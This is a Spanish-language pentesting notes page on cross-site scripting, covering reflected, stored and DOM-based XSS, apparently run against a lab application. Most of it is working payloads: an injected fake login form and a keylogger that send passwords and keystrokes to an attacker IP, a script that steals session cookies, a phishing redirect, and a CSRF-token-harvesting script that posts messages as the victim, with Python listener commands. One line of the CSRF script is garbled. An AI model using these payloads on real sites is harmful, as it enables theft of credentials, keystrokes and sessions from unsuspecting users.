> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).

# Técnicas XSS

## XSS (Reflejado):

> Reflejado: Este tipo de XSS ocurre cuando los datos proporcionados por el usuario se reflejan en la respuesta HTTP sin una validación adecuada. Esto permite a un atacante inyectar código malicioso en la respuesta, que luego se ejecuta en el navegador del usuario.

* En este caso, podemos inyectar código HTML como en el siguiente ejemplo: `prueba <h1> Prueba </h1>`:

<figure><img src="/files/c81b28da2487a5e3f6cbb0fbca187ba840730b7c" alt="" width="563"><figcaption></figcaption></figure>

* Podemos ver que pudimos modificar el tamaño del texto con **h1** etiqueta:

<figure><img src="/files/e62e2227ecca50a00ad20d81bd8c24c1bbfa5acd" alt="" width="375"><figcaption></figcaption></figure>

## XSS (Almacenado):

> Almacenado: Este tipo de XSS ocurre cuando un atacante puede almacenar código malicioso en una base de datos o en el servidor web que aloja una página vulnerable. Este código se ejecuta cada vez que se carga la página. Si lanzamos un script como el de abajo en un formulario, `<script>alert("XSS")</script>`, y obtenemos la alerta de abajo, significa que el sitio web es vulnerable a este tipo de ataque:

<figure><img src="/files/bbd8c55bd563287f856e0153f1f44d1e2b1d3c2e" alt="" width="563"><figcaption></figcaption></figure>

Podríamos redirigir al usuario a un sitio web vulnerable y realizar un ataque de phishing:

```javascript
<script>
window.location.href = "https://maliciouswebsite.com";
</script>

```

Este código JavaScript crea un formulario de inicio de sesión en una página web y envía los datos introducidos (dirección de correo electrónico y contraseña) a una dirección IP especificada mediante una solicitud HTTP usando `fetch()`.

```javascript
<div id="formContainer">
<script>
    var email;
    var password;
    var form = '<form>' +
    'Email: <input type="email" id="email" required>' +
    ' Password: <input type="password" id="password" required>'+
    '<input type="button" onclick="submitForm()" value="Submit">' +
    '</form>';
    document.getElementById("formContainer").innerHTML = form;
    function submitForm() {
        email = document.getElementById("email").value;
        password = document.getElementById("password").value;
        fetch("http://192.168.71.128/?email=" + email + "&password=" + password);
    }
</script>

```

<figure><img src="/files/ebd1139452eb9bfb0eedcc2e93b36461e713e5be" alt="" width="563"><figcaption></figcaption></figure>

Escuchamos en el puerto 80 con **python3**:

```bash
python3 -m http.server 80

```

<figure><img src="/files/5b0b8e148156259c3c6bb0bc8b9f90804de1140a" alt=""><figcaption></figcaption></figure>

## XSS (Basado en DOM):

> Basado en DOM: Este tipo de XSS ocurre cuando el código malicioso se ejecuta en el navegador del usuario a través del DOM (Document Object Model). Esto ocurre cuando el código JavaScript de una página web modifica el DOM de una manera vulnerable a la inyección de código malicioso. El script de abajo puede capturar todas las pulsaciones de teclas del usuario y enviarlas a un **python3** servidor a través del puerto 80:

```javascript
<script>
	var k = "";
	document.onkeypress = function(e){
		e = e || window.event;
		k += e.key;
		var i = new Image();
		i.src = "http://192.168.71.128/" + k;
	}
</script>

```

Podemos escuchar filtrando solo los caracteres que nos importan con **grep**:

```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'

```

<figure><img src="/files/5c30bf8b949218dee9b9684f43830b50dc2c3225" alt=""><figcaption></figcaption></figure>

***

Para obtener la cookie de sesión de un servidor de terceros, creamos este archivo en nuestro ordenador **test.js**

```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();

```

En el formulario, enviamos este script:

```html
<script src="http://192.168.71.128/test.js"></script>

```

Escuchamos y obtenemos la cookie de sesión del usuario:

<figure><img src="/files/c77259803d0b5084483e6d5f6f34e523fd30af18" alt=""><figcaption></figcaption></figure>

Para escribir algo en nombre de otra persona, podríamos seguir los pasos siguientes: Interceptar la solicitud con [Burp Suite](/es/hacking-tools/web/burpsuite.md) y copiar el contenido resaltado en rojo:

<figure><img src="/files/41bdd12bbdabaafa519e88edd46d0bd5942e0c1f" alt="" width="563"><figcaption></figcaption></figure>

El script de abajo realiza una **GET** solicitud a una URL local, analiza la respuesta HTML para identificar un **CSRF** token, luego realiza una solicitud POST con datos que incluyen el token CSRF a la misma URL. La variable codificada en URL `de datos` envía la información al servidor donde se implementa este script. Es esencial modificar los `de datos` valores, el token y la dirección IP.

```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);

```

En el formulario, enviamos este script:

```javascript
<script src="http://192.168.71.128/pwned.js"><script>

```

Escuchamos en el puerto 80 con python3:

<figure><img src="/files/d88e28942fbb26123ed95fc2da78e5f9b7ad9c3e" alt=""><figcaption></figcaption></figure>

El mensaje **enviado en nombre de otro usuario** fue transmitido:

<figure><img src="/files/b2001cca658a718d3443e6cc0273e1b6d07445c5" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
